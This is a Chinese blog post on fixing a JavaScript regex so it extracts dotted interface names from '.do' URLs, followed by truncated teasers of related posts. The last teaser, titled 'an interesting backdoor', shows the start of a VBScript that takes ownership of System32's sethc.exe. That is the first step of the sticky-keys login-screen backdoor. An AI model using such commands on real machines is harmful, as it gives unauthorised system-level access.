有意思的正則 待繼續整理

2021-10-01 05:29:00 字數 891 閱讀 1957

介面模式都是 https://***/a/b/c/eee.do , 要過濾出裡面的介面名ddd,別人寫的:

(/([^/.]+)(?:.do)?$/g).exec('https://***/a/b/c/eee.do') 雖然可以過濾出名稱 eee,但是碰到介面名帶點的就不行,如https://***/a/b/c/ddd.eee.do 就只能得到 eee 而不能得到想要的 ddd.eee。

下面是改造探索試過的幾個方法:

簡單去掉前面中的點,想讓它不包含點,結果: "ddd.eee.do", "ddd.eee.do" 兩個都包含了.do

2, (/([^/.do]+)(?:.do)?$/).exec('https://***/a/b/c/ddd.eee.do') 前面看能否去掉.do,不成樣子了。

3,分析1的結果,為啥第二個匹配仍然是ddd.eee.do?有可能還沒走到後面的自匹配(?:.do),這個是不捕獲的,看起來整個應該要沒有.do,但現在又有.do,那顯然是沒走到那裡,而是 'https://***/a/b/c/ddd.eee.do' 就滿足了(/([^/]+) 的匹配,字元就被前面的匹配吃掉了【匹配會消耗字元是正則的特性】,

試驗驗證這個猜想:(/([^/]+)$/).exec('https://***/a/b/c/ddd.eee.do') 果然和1的結果一模一樣。

4, 經過3想到有沒有盡量少的匹配不把.do匹配在第乙個匹配裡的方法呢?(防被吃),立馬想到非貪婪模式:?

(/([^/]+?)(?:.do)?$/).exec('https://***/a/b/c/ddd.eee.do') 才能得到想要的: "ddd.eee.do", "ddd.eee"

僅僅再加個?即可。

關於正則有意思的事情

sublime是文字編輯器,所以冒號不會當成是字串的開始,他已經成為了文字字元。冒號不用轉義,等號也不用轉義 abc 匹配的是以abc結尾的abc,而不是含有abc結尾的整個字串,是子串。如果要匹配帶什麼的,請把之前的任意說出來。同樣的到底,abc匹配的是以abc開頭的abc,不是abc開頭的整個字...

乙個有意思的正則

在乙個框架中偶然發現一段比較有意思的正則,到現在還沒完全搞懂,先記錄下 1 3 str string 4 第乙個引數為正則 是左右定界符,就代表每個字串都匹配 5 preg split no empty 不返回空的 6 第 個引數 代表分割多少個陣列 7 chars preg split str,1...

有意思的後門

dim obj,success set obj createobject wscript.shell success obj.run cmd c takeown f systemroot system32 sethc.exe 0,true success obj.run cmd c echo y c...